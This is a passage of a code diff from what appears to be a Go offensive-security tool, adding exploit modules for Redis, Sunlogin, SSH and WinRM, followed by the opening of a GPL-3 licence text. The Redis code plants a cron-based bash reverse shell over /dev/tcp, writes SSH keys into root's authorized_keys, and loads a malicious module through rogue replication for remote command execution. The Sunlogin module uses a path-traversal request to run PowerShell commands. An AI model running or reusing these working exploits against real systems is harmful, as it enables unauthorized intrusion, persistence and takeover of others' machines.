||||
Timeout: 1 * time.Second,
|
||||
}, exploits.User, exploits.Pass)
|
||||
}
|
||||
if err != nil || status == false {
|
||||
logger.Fatal("Redis auth has an error")
|
||||
return
|
||||
}
|
||||
redisCron(conn, rebound)
|
||||
case 2: // redis 写key
|
||||
if exploits.Pass == "" {
|
||||
conn, status, err = plugin.RedisUnAuthConn(config2.ServiceConn{
|
||||
Hostname: exploits.Hostname,
|
||||
Port: exploits.Port,
|
||||
Timeout: 1 * time.Second,
|
||||
}, "", "")
|
||||
} else {
|
||||
conn, status, err = plugin.RedisAuthConn(config2.ServiceConn{
|
||||
Hostname: exploits.Hostname,
|
||||
Port: exploits.Port,
|
||||
Timeout: 1 * time.Second,
|
||||
}, "", exploits.Pass)
|
||||
}
|
||||
if err != nil || status == false {
|
||||
logger.Fatal("Redis auth has an error")
|
||||
return
|
||||
}
|
||||
redisKey(conn, filename)
|
||||
case 3:
|
||||
client := initRedisClient(exploits.Hostname, exploits.Port, exploits.Pass)
|
||||
var lhost string
|
||||
var lport int
|
||||
if Listen != "" && len(strings.Split(Listen, ":")) == 2 {
|
||||
lhost = strings.Split(Listen, ":")[0]
|
||||
lport, err = strconv.Atoi(strings.Split(Listen, ":")[1])
|
||||
}
|
||||
soWrite(client, lhost, lport, soPath)
|
||||
default:
|
||||
logger.Fatal("not found redis exploit method")
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
func test(conn net.Conn) (cron bool, ssh bool, err error) {
|
||||
var reply string
|
||||
_, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dir /root/.ssh/\r\n"))) // 测试公钥写入
|
||||
if err != nil {
|
||||
return false, false, err
|
||||
}
|
||||
reply, err = plugin.RedisReply(conn)
|
||||
if err != nil {
|
||||
return false, false, err
|
||||
}
|
||||
if strings.Contains(reply, "OK") {
|
||||
ssh = true
|
||||
}
|
||||
_, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dir /var/spool/cron/\r\n"))) // 测试定时计划写入
|
||||
if err != nil {
|
||||
return false, ssh, err
|
||||
}
|
||||
reply, err = plugin.RedisReply(conn)
|
||||
if err != nil {
|
||||
return false, ssh, err
|
||||
}
|
||||
if strings.Contains(reply, "OK") {
|
||||
cron = true
|
||||
}
|
||||
return cron, ssh, nil
|
||||
}
|
||||
|
||||
func redisCron(conn net.Conn, ReboundAddress string) bool {
|
||||
c, _, err := test(conn)
|
||||
if err != nil {
|
||||
logger.Fatal("redis may be not write")
|
||||
return false
|
||||
}
|
||||
if c {
|
||||
status, err := cronWrite(conn, ReboundAddress)
|
||||
if err != nil {
|
||||
logger.Fatal("write rebound shell address failed")
|
||||
return false
|
||||
}
|
||||
if status {
|
||||
logger.Info("write rebound shell address success")
|
||||
return true
|
||||
} else {
|
||||
logger.Fatal("write rebound shell address failed")
|
||||
}
|
||||
} else {
|
||||
logger.Fatal("write rebound shell address failed")
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func redisKey(conn net.Conn, filename string) bool {
|
||||
_, k, err := test(conn)
|
||||
if err != nil {
|
||||
logger.Fatal("redis may be not write")
|
||||
return false
|
||||
}
|
||||
if k {
|
||||
status, err := keyWrite(conn, filename)
|
||||
if err != nil {
|
||||
logger.Fatal("write public key into /root/.ssh/ failed")
|
||||
return false
|
||||
}
|
||||
if status {
|
||||
logger.Info("write public key into /root/.ssh/ success")
|
||||
return true
|
||||
} else {
|
||||
logger.Fatal("write public key into /root/.ssh/ failed")
|
||||
}
|
||||
} else {
|
||||
logger.Fatal("write public key into /root/.ssh/ failed")
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func cronWrite(conn net.Conn, ReboundAddress string) (bool, error) {
|
||||
var (
|
||||
remote = strings.Split(ReboundAddress, ":")
|
||||
flag = false
|
||||
reply string
|
||||
host string
|
||||
port string
|
||||
)
|
||||
if len(remote) == 2 {
|
||||
host, port = remote[0], remote[1]
|
||||
} else {
|
||||
return false, errors.New("remote host address is not like 192.160.1.1:4444")
|
||||
}
|
||||
_, err := conn.Write([]byte(fmt.Sprintf("CONFIG SET dir /var/spool/cron/\r\n")))
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
reply, err = plugin.RedisReply(conn)
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
if strings.Contains(reply, "+OK") { // redis可写定时计划任务
|
||||
// 存在定时计划写入
|
||||
_, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dbfilename root\r\n")))
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
reply, err = plugin.RedisReply(conn)
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
// 数据库设置成功
|
||||
if strings.Contains(reply, "+OK") {
|
||||
// 写入定时计划任务
|
||||
_, err = conn.Write([]byte(fmt.Sprintf("set corn \"\\n*/1 * * * * /bin/bash -i >& /dev/tcp/%v/%v 0>&1\\n\"\r\n", host, port)))
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
reply, err = plugin.RedisReply(conn)
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
if strings.Contains(reply, "+OK") {
|
||||
_, err = conn.Write([]byte(fmt.Sprintf("save\r\n")))
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
reply, err = plugin.RedisReply(conn)
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
if strings.Contains(reply, "OK") {
|
||||
logger.Info("save corn success")
|
||||
flag = true
|
||||
}
|
||||
}
|
||||
// 恢复原始的dbfilename
|
||||
_, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dbfilename dump.rdb\r\n")))
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
reply, err = plugin.RedisReply(conn)
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
if strings.Contains(reply, "OK") {
|
||||
logger.Info("restore the original dbfilename")
|
||||
}
|
||||
}
|
||||
}
|
||||
return flag, nil
|
||||
}
|
||||
|
||||
func keyWrite(conn net.Conn, filename string) (bool, error) {
|
||||
var flag = false
|
||||
_, err := conn.Write([]byte(fmt.Sprintf("CONFIG SET dir /root/.ssh/\r\n")))
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
reply, err := plugin.RedisReply(conn)
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
if strings.Contains(reply, "OK") {
|
||||
_, err := conn.Write([]byte(fmt.Sprintf("CONFIG SET dbfilename authorized_keys\r\n")))
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
reply, err := plugin.RedisReply(conn)
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
if strings.Contains(reply, "OK") {
|
||||
key, err := readKeyFile(filename)
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
if len(key) == 0 {
|
||||
return false, errors.New(fmt.Sprintf("the keyfile %s is empty", filename))
|
||||
}
|
||||
_, err = conn.Write([]byte(fmt.Sprintf("set x \"\\n\\n\\n%v\\n\\n\\n\"\r\n", key)))
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
reply, err = plugin.RedisReply(conn)
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
if strings.Contains(reply, "OK") {
|
||||
// 保存
|
||||
_, err = conn.Write([]byte(fmt.Sprintf("save\r\n")))
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
reply, err = plugin.RedisReply(conn)
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
if strings.Contains(reply, "OK") {
|
||||
flag = true
|
||||
}
|
||||
}
|
||||
// 恢复原始的dbfilename
|
||||
_, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dbfilename dump.rdb\r\n")))
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
reply, err = plugin.RedisReply(conn)
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
if strings.Contains(reply, "OK") {
|
||||
logger.Info("Restore the original dbfilename")
|
||||
}
|
||||
}
|
||||
}
|
||||
return flag, nil
|
||||
}
|
||||
|
||||
func readKeyFile(filename string) (string, error) {
|
||||
file, err := os.Open(filename)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
defer file.Close()
|
||||
scanner := bufio.NewScanner(file)
|
||||
for scanner.Scan() {
|
||||
text := strings.TrimSpace(scanner.Text())
|
||||
if text != "" {
|
||||
return text, nil
|
||||
}
|
||||
}
|
||||
return "", err
|
||||
}
|
||||
|
||||
func soWrite(client *redis.Client, lHost string, lPort int, soPath string) {
|
||||
// 设置so文件存放路径
|
||||
var dest string
|
||||
if soPath == "" {
|
||||
dest = "/tmp/net.so"
|
||||
} else {
|
||||
dest = soPath
|
||||
}
|
||||
rexec(fmt.Sprintf("slaveof %v %v", lHost, lPort), client)
|
||||
logger.Info(fmt.Sprintf("slaveof %v %v", lHost, lPort))
|
||||
dbfilename, dir := getInformation(client)
|
||||
filenameDir, filename := filepath.Split(dest)
|
||||
rexec(fmt.Sprintf("config set dir %v", filenameDir), client)
|
||||
rexec(fmt.Sprintf("config set dbfilename %v", filename), client)
|
||||
// 做监听
|
||||
listenLocal(fmt.Sprintf("%v:%v", lHost, lPort))
|
||||
// 重置数据库
|
||||
reStore(client, dir, dbfilename)
|
||||
// 加载so文件
|
||||
s := rexec(fmt.Sprintf("module load %v", dest), client)
|
||||
if s == "need unload" {
|
||||
logger.Info("try to unload")
|
||||
rexec(fmt.Sprintf("module unload system"), client)
|
||||
logger.Info("to the load")
|
||||
rexec(fmt.Sprintf("module load %v", dest), client)
|
||||
}
|
||||
logger.Info("module load success")
|
||||
// 循环执行命令
|
||||
reader := bufio.NewReader(os.Stdin)
|
||||
for {
|
||||
var cmd string
|
||||
fmt.Printf("[redis-rce]» ")
|
||||
cmd, _ = reader.ReadString('\n')
|
||||
cmd = strings.ReplaceAll(strings.ReplaceAll(cmd, "\r", ""), "\n", "")
|
||||
if cmd == "exit" {
|
||||
cmd = fmt.Sprintf("rm %v", dest)
|
||||
run(fmt.Sprintf(cmd), client)
|
||||
rexec(fmt.Sprintf("module unload system"), client)
|
||||
logger.Info("module unload system break redis-rce")
|
||||
break
|
||||
}
|
||||
receive(run(fmt.Sprintf(cmd), client))
|
||||
}
|
||||
os.Exit(0)
|
||||
}
|
||||
|
||||
func initRedisClient(host string, port int, pass string) *redis.Client {
|
||||
rdb := redis.NewClient(&redis.Options{
|
||||
Addr: fmt.Sprintf("%v:%v", host, port),
|
||||
Password: pass, // no password set
|
||||
DB: 0, // use default DB
|
||||
})
|
||||
return rdb
|
||||
}
|
||||
|
||||
func masterSlave(wg *sync.WaitGroup, c *net.TCPConn) {
|
||||
defer wg.Done()
|
||||
buf := make([]byte, 1024)
|
||||
for {
|
||||
time.Sleep(1 * time.Second)
|
||||
n, err := c.Read(buf)
|
||||
if err == io.EOF || n == 0 {
|
||||
logger.Info("master-slave replication process is complete")
|
||||
return
|
||||
}
|
||||
switch {
|
||||
case strings.Contains(string(buf[:n]), "PING"):
|
||||
_, _ = c.Write([]byte("+PONG\r\n"))
|
||||
//Send("+PONG")
|
||||
case strings.Contains(string(buf[:n]), "REPLCONF"):
|
||||
_, _ = c.Write([]byte("+OK\r\n"))
|
||||
//Send("+OK")
|
||||
case strings.Contains(string(buf[:n]), "SYNC"):
|
||||
resp := "+FULLRESYNC " + "ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ" + " 1" + "\r\n" // 垃圾字符
|
||||
resp += "$" + fmt.Sprintf("%v", len(payload)) + "\r\n"
|
||||
rep := []byte(resp)
|
||||
rep = append(rep, payload...)
|
||||
rep = append(rep, []byte("\r\n")...)
|
||||
_, _ = c.Write(rep)
|
||||
//Send(resp)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func rexec(cmd string, client *redis.Client) string {
|
||||
args := strings.Fields(cmd)
|
||||
var argsInterface []interface{}
|
||||
for _, arg := range args {
|
||||
argsInterface = append(argsInterface, arg)
|
||||
}
|
||||
//Send(cmd)
|
||||
val, err := client.Do(context.Background(), argsInterface...).Result()
|
||||
return check(val, err)
|
||||
}
|
||||
|
||||
func check(val interface{}, err error) string {
|
||||
if err != nil {
|
||||
if err == redis.Nil {
|
||||
logger.Fatal("key is not exist")
|
||||
return ""
|
||||
}
|
||||
logger.Fatal(fmt.Sprintf("%v", err.Error()))
|
||||
if err.Error() == "error loading the extension. Please check the server logs." {
|
||||
return "need unload"
|
||||
}
|
||||
os.Exit(0)
|
||||
}
|
||||
switch v := val.(type) {
|
||||
case string:
|
||||
return v
|
||||
case []string:
|
||||
return "list result:" + strings.Join(v, " ")
|
||||
case []interface{}:
|
||||
s := ""
|
||||
for _, i := range v {
|
||||
s += i.(string) + " "
|
||||
}
|
||||
return s
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
func run(cmd string, client *redis.Client) string {
|
||||
ctx := context.Background()
|
||||
val, err := client.Do(ctx, "system.exec", cmd).Result()
|
||||
return check(val, err)
|
||||
}
|
||||
|
||||
func receive(str string) {
|
||||
str = strings.TrimSpace(str)
|
||||
fmt.Println(fmt.Sprintf("%v", str))
|
||||
}
|
||||
|
||||
func getInformation(client *redis.Client) (string, string) {
|
||||
r := rexec("config get dbfilename", client)
|
||||
if !strings.HasPrefix(r, "dbfilename") {
|
||||
return "", ""
|
||||
}
|
||||
dbfilename := r[11 : len(r)-1]
|
||||
d := rexec("config get dir", client)
|
||||
if !strings.HasPrefix(d, "dir") {
|
||||
return "", ""
|
||||
}
|
||||
dir := d[4 : len(d)-1]
|
||||
return dbfilename, dir
|
||||
}
|
||||
|
||||
func listenLocal(address string) {
|
||||
var wg = &sync.WaitGroup{}
|
||||
wg.Add(1)
|
||||
addr, err := net.ResolveTCPAddr("tcp", address)
|
||||
if err != nil {
|
||||
logger.Fatal("resolve tcp address failed")
|
||||
os.Exit(0)
|
||||
}
|
||||
listen, err := net.ListenTCP("tcp", addr)
|
||||
if err != nil {
|
||||
logger.Fatal("listen tcp address failed")
|
||||
os.Exit(0)
|
||||
}
|
||||
defer func(listen *net.TCPListener) {
|
||||
err := listen.Close()
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
}(listen)
|
||||
logger.Info(fmt.Sprintf("start listen in %v", address))
|
||||
c, err := listen.AcceptTCP()
|
||||
if err != nil {
|
||||
logger.Fatal("accept tcp failed")
|
||||
os.Exit(0)
|
||||
}
|
||||
go masterSlave(wg, c)
|
||||
wg.Wait()
|
||||
_ = c.Close()
|
||||
}
|
||||
|
||||
func reStore(client *redis.Client, dir, dbfilename string) {
|
||||
success := rexec("slaveof no one", client)
|
||||
if strings.Contains(success, "OK") {
|
||||
logger.Info("restore file success")
|
||||
}
|
||||
rexec(fmt.Sprintf("config set dir %v", dir), client)
|
||||
rexec(fmt.Sprintf("config set dbfilename %v", dbfilename), client)
|
||||
}
|
||||
76
pkg/exploit/ssh/ssh.go
Normal file
76
pkg/exploit/ssh/ssh.go
Normal file
@@ -0,0 +1,76 @@
|
||||
package ssh
|
||||
|
||||
import (
|
||||
config2 "Yasso/config"
|
||||
"Yasso/core/logger"
|
||||
"Yasso/core/plugin"
|
||||
"Yasso/pkg/exploit/config"
|
||||
"fmt"
|
||||
"golang.org/x/crypto/ssh"
|
||||
"golang.org/x/crypto/ssh/terminal"
|
||||
"os"
|
||||
"time"
|
||||
)
|
||||
|
||||
func ExploitSSH(exploits config.Exploits, key string) {
|
||||
var SshConn *ssh.Client
|
||||
var status bool
|
||||
var err error
|
||||
if key == "" {
|
||||
SshConn, status, err = plugin.SshConnByUser(config2.ServiceConn{
|
||||
Hostname: exploits.Hostname,
|
||||
Port: exploits.Port,
|
||||
Timeout: 1000 * time.Millisecond,
|
||||
}, exploits.User, exploits.Pass)
|
||||
} else {
|
||||
SshConn, status, err = plugin.SshConnByKey(config2.ServiceConn{
|
||||
Hostname: exploits.Hostname,
|
||||
Port: exploits.Port,
|
||||
Timeout: 1000 * time.Millisecond,
|
||||
PublicKey: key,
|
||||
}, exploits.User)
|
||||
}
|
||||
if err != nil || status == false {
|
||||
logger.Fatal("exploit ssh has an error conn to ssh failed")
|
||||
return
|
||||
}
|
||||
loginSSH(SshConn) // 连接到ssh
|
||||
}
|
||||
|
||||
func loginSSH(client *ssh.Client) {
|
||||
defer client.Close()
|
||||
session, err := client.NewSession()
|
||||
if err != nil {
|
||||
logger.Fatal(fmt.Sprintf("new ssh session failed %v", err))
|
||||
return
|
||||
}
|
||||
defer session.Close()
|
||||
session.Stdout = os.Stdout
|
||||
session.Stderr = os.Stderr
|
||||
session.Stdin = os.Stdin
|
||||
modes := ssh.TerminalModes{
|
||||
ssh.ECHO: 1,
|
||||
ssh.TTY_OP_ISPEED: 14400,
|
||||
ssh.TTY_OP_OSPEED: 14400,
|
||||
ssh.VSTATUS: 1,
|
||||
}
|
||||
fd := int(os.Stdin.Fd())
|
||||
oldState, err := terminal.MakeRaw(fd)
|
||||
if err != nil {
|
||||
logger.Fatal(fmt.Sprintf("terminal failed %v", err))
|
||||
}
|
||||
defer terminal.Restore(fd, oldState)
|
||||
w, h, err := terminal.GetSize(fd)
|
||||
if err = session.RequestPty("xterm-256color", h, w, modes); err != nil {
|
||||
logger.Fatal(fmt.Sprintf("Session Request new xterm failed %v", err))
|
||||
return
|
||||
}
|
||||
if err = session.Shell(); err != nil {
|
||||
logger.Fatal(fmt.Sprintf("Session start shell failed %v", err))
|
||||
return
|
||||
}
|
||||
if err = session.Wait(); err != nil {
|
||||
logger.Fatal(fmt.Sprintf("Session wait failed %v", err))
|
||||
return
|
||||
}
|
||||
}
|
||||
66
pkg/exploit/sunlogin/sunlogin.go
Normal file
66
pkg/exploit/sunlogin/sunlogin.go
Normal file
@@ -0,0 +1,66 @@
|
||||
package sunlogin
|
||||
|
||||
import (
|
||||
"Yasso/core/logger"
|
||||
"Yasso/pkg/exploit/config"
|
||||
"fmt"
|
||||
"golang.org/x/text/encoding/simplifiedchinese"
|
||||
"io"
|
||||
"net/http"
|
||||
"net/url"
|
||||
"regexp"
|
||||
"time"
|
||||
)
|
||||
|
||||
func ExploitSunLogin(exploits config.Exploits, Command string) {
|
||||
addr := fmt.Sprintf("%v:%v", exploits.Hostname, exploits.Port)
|
||||
verify := getVerify(addr)
|
||||
if Command != "" {
|
||||
re := runCmd(Command, addr, verify)
|
||||
if re == "" {
|
||||
logger.Fatal(fmt.Sprintf("exploit %s failed", addr))
|
||||
return
|
||||
} else {
|
||||
logger.Info(re)
|
||||
}
|
||||
} else {
|
||||
logger.Fatal("exploit need command params")
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
func getVerify(addr string) string { //获取Verify认证
|
||||
resp, err := http.Get(fmt.Sprintf("http://%s/cgi-bin/rpc?action=verify-haras", addr))
|
||||
if err != nil {
|
||||
return ""
|
||||
}
|
||||
b, _ := io.ReadAll(resp.Body)
|
||||
reg := regexp.MustCompile(`"verify_string":"(.*?)"`)
|
||||
result := reg.FindAllSubmatch(b, 1)
|
||||
if len(result) > 0 {
|
||||
if len(result[0]) == 2 {
|
||||
return string(result[0][1])
|
||||
}
|
||||
}
|
||||
return ""
|
||||
}
|
||||
func runCmd(cmd string, addr string, verify string) string {
|
||||
cmd = url.QueryEscape(cmd)
|
||||
target := "http://" + addr + `/check?cmd=ping..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fwindows%2Fsystem32%2FWindowsPowerShell%2Fv1.0%2Fpowershell.exe+` + cmd
|
||||
req, err := http.NewRequest("GET", target, nil)
|
||||
if err != nil {
|
||||
return ""
|
||||
}
|
||||
req.Header.Add("Cookie", "CID="+verify)
|
||||
var client = http.DefaultClient
|
||||
client.Timeout = 5 * time.Second
|
||||
resp, _ := client.Do(req)
|
||||
if err != nil || resp == nil {
|
||||
return ""
|
||||
} else {
|
||||
str, _ := io.ReadAll(resp.Body)
|
||||
str, _ = simplifiedchinese.GBK.NewDecoder().Bytes(str)
|
||||
//fmt.Println(string(str))
|
||||
return string(str)
|
||||
}
|
||||
}
|
||||
16
pkg/exploit/sunlogin/sunlogin_test.go
Normal file
16
pkg/exploit/sunlogin/sunlogin_test.go
Normal file
@@ -0,0 +1,16 @@
|
||||
package sunlogin
|
||||
|
||||
import (
|
||||
"Yasso/pkg/exploit/config"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func Test(t *testing.T) {
|
||||
ExploitSunLogin(config.Exploits{
|
||||
Hostname: "192.168.248.1",
|
||||
Port: 49690,
|
||||
User: "",
|
||||
Pass: "",
|
||||
}, "whoami")
|
||||
|
||||
}
|
||||
62
pkg/exploit/winrm/winrm.go
Normal file
62
pkg/exploit/winrm/winrm.go
Normal file
@@ -0,0 +1,62 @@
|
||||
package winrm
|
||||
|
||||
import (
|
||||
config2 "Yasso/config"
|
||||
"Yasso/core/logger"
|
||||
"Yasso/core/plugin"
|
||||
"Yasso/pkg/exploit/config"
|
||||
"fmt"
|
||||
"github.com/masterzen/winrm"
|
||||
"io"
|
||||
"os"
|
||||
"time"
|
||||
)
|
||||
|
||||
func ExploitWinRM(exploits config.Exploits, Command string, isShell int) {
|
||||
WinRMConn, status, err := plugin.WinRMAuth(config2.ServiceConn{
|
||||
Hostname: exploits.Hostname,
|
||||
Port: exploits.Port,
|
||||
Timeout: 1000 * time.Millisecond,
|
||||
}, exploits.User, exploits.Pass)
|
||||
|
||||
if err != nil || status == false {
|
||||
return
|
||||
}
|
||||
switch isShell {
|
||||
case 1:
|
||||
WinRMShell(WinRMConn, Command, false)
|
||||
case 2:
|
||||
WinRMShell(WinRMConn, Command, true)
|
||||
default:
|
||||
logger.Fatal("not found exploit method")
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
func WinRMShell(client *winrm.Client, Command string, shell bool) {
|
||||
if shell == true {
|
||||
shell, err := client.CreateShell()
|
||||
if err != nil {
|
||||
logger.Fatal(fmt.Sprintf("create shell failed %v", err))
|
||||
return
|
||||
}
|
||||
var cmd *winrm.Command
|
||||
cmd, err = shell.Execute("cmd.exe")
|
||||
if err != nil {
|
||||
logger.Fatal(fmt.Sprintf("[!] create shell failed %v", err))
|
||||
return
|
||||
}
|
||||
|
||||
go io.Copy(cmd.Stdin, os.Stdin)
|
||||
go io.Copy(os.Stdout, cmd.Stdout)
|
||||
go io.Copy(os.Stderr, cmd.Stderr)
|
||||
cmd.Wait()
|
||||
shell.Close()
|
||||
} else {
|
||||
_, err := client.Run(Command, os.Stdout, os.Stderr)
|
||||
if err != nil {
|
||||
logger.Fatal(fmt.Sprintf("[!] Execute Command failed %v", err))
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
674
pkg/grdp/LICENSE
Normal file
674
pkg/grdp/LICENSE
Normal file
@@ -0,0 +1,674 @@
|
||||
GNU GENERAL PUBLIC LICENSE
|
||||
Version 3, 29 June 2007
|
||||
|
||||
Copyright (C) 2007 Free Software Foundation, Inc. <http://fsf.org/>
|
||||
Everyone is permitted to copy and distribute verbatim copies
|
||||
of this license document, but changing it is not allowed.
|
||||
|
||||
Preamble
|
||||
|
||||
The GNU General Public License is a free, copyleft license for
|
||||
software and other kinds of works.
|
||||
|
||||
The licenses for most software and other practical works are designed
|
||||
to take away your freedom to share and change the works. By contrast,
|
||||
the GNU General Public License is intended to guarantee your freedom to
|
||||
share and change all versions of a program--to make sure it remains free
|
||||
software for all its users. We, the Free Software Foundation, use the
|
||||
GNU General Public License for most of our software; it applies also to
|
||||
any other work released this way by its authors. You can apply it to
|
||||
your programs, too.
|
||||
|
||||
When we speak of free software, we are referring to freedom, not
|
||||
price. Our General Public Licenses are designed to make sure that you
|
||||
have the freedom to distribute copies of free software (and charge for
|
||||
them if you wish), that you receive source code or can get it if you
|
||||
want it, that you can change the software or use pieces of it in new
|
||||
free programs, and that you know you can do these things.
|
||||
|
||||
To protect your rights, we need to prevent others from denying you
|
||||
these rights or asking you to surrender the rights. Therefore, you have
|
||||
certain responsibilities if you distribute copies of the software, or if
|
||||
you modify it: responsibilities to respect the freedom of others.
|
||||
|
||||
For example, if you distribute copies of such a program, whether
|
||||
gratis or for a fee, you must pass on to the recipients the same
|
||||
freedoms that you received. You must make sure that they, too, receive
|
||||
or can get the source code. And you must show them these terms so they
|
||||
know their rights.
|
||||
|
||||
Developers that use the GNU GPL protect your rights with two steps:
|
||||
(1) assert copyright on the software, and (2) offer you this License
|
||||
giving you legal permission to copy, distribute and/or modify it.
|
||||
|
||||
For the developers' and authors' protection, the GPL clearly explains
|
||||
that there is no warranty for this free software. For both users' and
|
||||
authors' sake, the GPL requires that modified versions be marked as
|
||||
changed, so that their problems will not be attributed erroneously to
|
||||
authors of previous versions.
|
||||
|
||||
Some devices are designed to deny users access to install or run
|
||||
modified versions of the software inside them, although the manufacturer
|
||||
can do so. This is fundamentally incompatible with the aim of
|
||||
protecting users' freedom to change the software. The systematic
|
||||
pattern of such abuse occurs in the area of products for individuals to
|
||||
use, which is precisely where it is most unacceptable. Therefore, we
|
||||
have designed this version of the GPL to prohibit the practice for those
|
||||
products. If such problems arise substantially in other domains, we
|
||||
stand ready to extend this provision to those domains in future versions
|
||||
of the GPL, as needed to protect the freedom of users.
|
||||
|
||||
Finally, every program is threatened constantly by software patents.
|
||||
States should not allow patents to restrict development and use of
|
||||
software on general-purpose computers, but in those that do, we wish to
|
||||
avoid the special danger that patents applied to a free program could
|
||||
make it effectively proprietary. To prevent this, the GPL assures that
|
||||
patents cannot be used to render the program non-free.
|
||||
|
||||
The precise terms and conditions for copying, distribution and
|
||||
modification follow.
|
||||
|
||||
TERMS AND CONDITIONS
|
||||
|
||||
0. Definitions.
|
||||
|
||||
"This License" refers to version 3 of the GNU General Public License.
|
||||
|
||||
"Copyright" also means copyright-like laws that apply to other kinds of
|
||||
works, such as semiconductor masks.
|
||||
|
||||
"The Program" refers to any copyrightable work licensed under this
|
||||
License. Each licensee is addressed as "you". "Licensees" and
|
||||
"recipients" may be individuals or organizations.
|
||||
|
||||
To "modify" a work means to copy from or adapt all or part of the work
|
||||
in a fashion requiring copyright permission, other than the making of an
|
||||
exact copy. The resulting work is called a "modified version" of the
|
||||
earlier work or a work "based on" the earlier work.
|
||||
|
||||
A "covered work" means either the unmodified Program or a work based
|
||||
on the Program.
|
||||
|
||||
To "propagate" a work means to do anything with it that, without
|
||||
permission, would make you directly or secondarily liable for
|
||||
infringement under applicable copyright law, except executing it on a
|
||||
computer or modifying a private copy. Propagation includes copying,
|
||||
distribution (with or without modification), making available to the
|
||||
public, and in some countries other activities as well.
|
||||
|
||||
To "convey" a work means any kind of propagation that enables other
|
||||
parties to make or receive copies. Mere interaction with a user through
|
||||
a computer network, with no transfer of a copy, is not conveying.
|
||||
|
||||
An interactive user interface displays "Appropriate Legal Notices"
|
||||
to the extent that it includes a convenient and prominently visible
|
||||
feature that (1) displays an appropriate copyright notice, and (2)
|
||||
tells the user that there is no warranty for the work (except to the
|
||||
extent that warranties are provided), that licensees may convey the
|
||||
work under this License, and how to view a copy of this License. If
|
||||
the interface presents a list of user commands or options, such as a
|
||||
menu, a prominent item in the list meets this criterion.
|
||||
|
||||
1. Source Code.
|
||||
|
||||
The "source code" for a work means the preferred form of the work
|
||||
for making modifications to it. "Object code" means any non-source
|
||||
form of a work.
|
||||
|
||||
A "Standard Interface" means an interface that either is an official
|
||||
standard defined by a recognized standards body, or, in the case of
|
||||
interfaces specified for a particular programming language, one that
|
||||
is widely used among developers working in that language.
|
||||
|
||||
The "System Libraries" of an executable work include anything, other
|
||||
than the work as a whole, that (a) is included in the normal form of
|
||||
packaging a Major Component, but which is not part of that Major
|
||||
Component, and (b) serves only to enable use of the work with that
|
||||
Major Component, or to implement a Standard Interface for which an
|
||||
implementation is available to the public in source code form. A
|
||||
"Major Component", in this context, means a major essential component
|
||||
(kernel, window system, and so on) of the specific operating system
|
||||
(if any) on which the executable work runs, or a compiler used to
|
||||
produce the work, or an object code interpreter used to run it.
|
||||
|
||||
The "Corresponding Source" for a work in object code form means all
|
||||
the source code needed to generate, install, and (for an executable
|
||||
work) run the object code and to modify the work, including scripts to
|
||||
control those activities. However, it does not include the work's
|
||||
System Libraries, or general-purpose tools or generally available free
|
||||
programs which are used unmodified in performing those activities but
|
||||
which are not part of the work. For example, Corresponding Source
|
||||
includes interface definition files associated with source files for
|
||||
the work, and the source code for shared libraries and dynamically
|
||||
linked subprograms that the work is specifically designed to require,
|
||||
such as by intimate data communication or control flow between those
|
||||
subprograms and other parts of the work.
|
||||
|
||||
The Corresponding Source need not include anything that users
|
||||
can regenerate automatically from other parts of the Corresponding
|
||||
Source.
|
||||
|
||||
The Corresponding Source for a work in source code form is that
|
||||
same work.
|
||||
|
||||
2. Basic Permissions.
|
||||
|
||||
All rights granted under this License are granted for the term of
|
||||
copyright on the Program, and are irrevocable provided the stated
|
||||
conditions are met. This License explicitly affirms your unlimited
|
||||
permission to run the unmodified Program. The output from running a
|
||||
covered work is covered by this License only if the output, given its
|
||||
content, constitutes a covered work. This License acknowledges your
|
||||
rights of fair use or other equivalent, as provided by copyright law.
|
||||
|
||||
You may make, run and propagate covered works that you do not
|
||||
convey, without conditions so long as your license otherwise remains
|
||||
in force. You may convey covered works to others for the sole purpose
|
||||
of having them make modifications exclusively for you, or provide you
|
||||
with facilities for running those works, provided that you comply with
|
||||
the terms of this License in conveying all material for which you do
|
||||
not control copyright. Those thus making or running the covered works
|
||||
for you must do so exclusively on your behalf, under your direction
|
||||
and control, on terms that prohibit them from making any copies of
|
||||
your copyrighted material outside their relationship with you.
|
||||
|
||||
Conveying under any other circumstances is permitted solely under
|
||||
the conditions stated below. Sublicensing is not allowed; section 10
|
||||
makes it unnecessary.
|
||||
|
||||
